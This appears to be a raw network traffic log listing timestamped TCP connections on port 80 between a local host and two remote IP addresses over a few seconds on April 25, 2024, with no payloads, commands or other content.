Apr 25, 2024 14:42:23.895315886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.101521969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.101543903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.101557016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.234291077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.234463930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.239881039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.239917994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.446086884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.446212053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.446224928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.580420017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.580559015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.585865974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.585932016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.792282104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.792299986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.792311907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.923681974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:24.923793077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.936317921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:24.936391115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.142674923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.142699957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.275019884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.275173903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.280560017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.280616999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.486726999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.486810923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.620822906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.620887995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.627011061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.627073050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.833240032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.833307028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.963886976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:25.963975906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.968904018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:25.968971968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.175211906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.175230026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.299711943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.299796104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.304801941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.304848909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.511018038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.511035919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.511051893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.644373894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.644438028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.649741888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.649804115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.856028080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.856045961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.989032984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:26.989237070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.994342089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:26.994342089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.200648069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:27.200706005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:27.332052946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:27.335191965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.375916958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.582920074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:27.716660023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:27.717017889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.802711964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.803039074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.803196907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:27.803244114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.009071112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009305954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009325027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009370089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009407997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.009416103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009433031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009455919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009514093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.009643078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009679079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009694099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009763956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.009776115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009794950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009809971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009882927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009938002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009953022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.009968042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010027885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010122061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010205984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010222912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010238886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010283947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010339022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010391951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010407925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010489941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010504961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010543108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010560989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010618925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010633945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010683060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010734081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010792017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010867119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010881901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010932922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010948896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.010981083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011042118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011056900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011070967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011109114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011123896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011149883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011238098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011254072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011424065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011462927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011531115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011547089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011562109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011593103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011630058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011674881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011765957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011781931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011838913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.011974096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.012034893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215908051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215929985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215940952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215953112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215965033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215977907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.215991020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216001987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216013908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216058969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216166973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216254950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216268063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216279984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216310024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216322899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216428995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.216478109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.499418020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.499504089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.541446924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.747772932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.878870964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:28.879012108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:28.882385015 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.091535091 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.091628075 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.091852903 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.300839901 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301100016 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301141024 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301187038 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301201105 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301230907 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301230907 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301258087 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301301003 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301330090 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301342964 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301345110 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301357985 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301376104 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301387072 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301414967 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301429987 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.301445961 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.301476955 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510437012 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510462046 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510509968 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510531902 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510538101 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510554075 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510600090 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510642052 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510656118 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510700941 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510725021 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510739088 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510762930 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510775089 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510802031 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510823965 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510828972 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510862112 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510874033 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510876894 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510915995 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510919094 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510932922 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.510932922 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510983944 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.510994911 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.511020899 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.511063099 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.511070013 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.511116982 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.511132002 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.511146069 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.511189938 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722398996 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722479105 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722481012 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722498894 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722588062 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722664118 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722677946 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722723007 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722747087 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722847939 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722862005 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722875118 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722887993 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.722929955 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.722969055 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723051071 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723062992 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723077059 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723125935 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723207951 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723222017 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723232985 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723247051 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723301888 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723381042 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723396063 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723409891 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723412037 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723422050 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723423958 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723464966 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723522902 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723570108 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723727942 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723742008 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723753929 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723767996 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723771095 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723782063 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723795891 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723829985 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723861933 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723875999 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723889112 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.723915100 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.723932981 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724034071 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724046946 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724060059 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724072933 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724083900 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724097013 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724132061 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724282026 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724297047 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724343061 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724457026 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724469900 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724482059 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724495888 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724505901 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724509954 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.724529982 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.724551916 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931648970 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931673050 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931684971 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931698084 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931720018 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931724072 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931782961 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931785107 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931785107 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931809902 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931823969 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931844950 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931844950 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931886911 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931930065 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.931953907 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.931992054 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932168961 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932234049 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932246923 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932281017 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932303905 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932338953 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932359934 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932396889 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932526112 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932563066 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932615042 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932627916 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932648897 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932666063 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932668924 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932689905 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932729959 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932734013 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932775021 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932893038 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932933092 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.932945967 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.932982922 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933007002 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933018923 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933079958 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933126926 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933176041 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933252096 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933269024 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933306932 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933319092 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933378935 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933407068 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933425903 CEST	49733	80	192.168.2.4	185.172.128.203
Apr 25, 2024 14:42:29.933577061 CEST	80	49733	185.172.128.203	192.168.2.4
Apr 25, 2024 14:42:29.933593035 CEST	80	49733	185.172.128.203	192.168.2.4
